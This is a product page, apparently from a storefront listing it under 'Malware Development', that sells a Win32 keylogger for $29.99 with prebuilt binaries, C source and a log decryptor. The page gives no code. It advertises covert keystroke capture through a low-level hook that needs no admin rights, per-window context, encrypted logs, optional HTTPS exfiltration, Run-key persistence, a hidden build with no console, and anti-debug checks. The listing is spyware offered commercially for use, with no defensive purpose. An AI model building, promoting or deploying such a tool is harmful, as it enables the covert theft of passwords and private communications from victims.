Keylogger Module (Win32 API)
Versionv1.3
Updated2026-10-19
CategoryMalware Development

Keylogger Module (Win32 API)

$29.99

Win32 Keylogger — WH_KEYBOARD_LL

Standalone Windows keylogger on the low-level keyboard hook: global capture without elevated privileges, window-title context, encrypted rotating log, optional exfiltration and persistence.

  • Capture: SetWindowsHookEx(WH_KEYBOARD_LL) + GetForegroundWindow/GetWindowText; full mapping of Shift, Ctrl, Alt, CapsLock, function keys, Enter, Backspace.
  • Storage: XOR-encrypted log with automatic size-based rotation; built-in --decrypt mode plus a Python decryptor script.
  • Exfiltration: optional HTTPS POST via WinHTTP at configurable intervals.
  • Persistence: optional Run-key install (--persist).
  • Stealth: silent build (-mwindows, no console, no taskbar icon); basic anti-debug (IsDebuggerPresent + PEB).
  • Prebuilt binaries included: keylogger32.exe / keylogger64.exe + decrypt_log.py.

Key Features

  • Global keystroke capture via WH_KEYBOARD_LL hook (no admin needed)
  • Window-title context per keystroke block
  • Shift/Ctrl/Alt/CapsLock/function-key mapping
  • XOR-encrypted log with automatic rotation (configurable)
  • Silent build (-mwindows, no console)
  • Optional HTTPS exfiltration (WinHTTP) with interval
  • Optional Run-key persistence (--persist)
  • Anti-debug: IsDebuggerPresent + PEB check
  • Built-in --decrypt mode + Python decryptor

Requirements

  • Windows 7+ (x86/x64)
  • MinGW-w64 or MSVC to compile

Changelog

  • 1.3 (2026-10-19): missing includes fixed, --decrypt attaches to parent console when built -mwindows, readable key combos; compiles x86+x64
  • 1.2 (2025-04-15): store release

Package Contents

Exact contents of the download archive (5 files):

keylogger32.exe 450,418 B
keylogger64.exe 470,856 B
keylogger.c 17,857 B
README.md 1,414 B
decrypt_log.py 1,331 B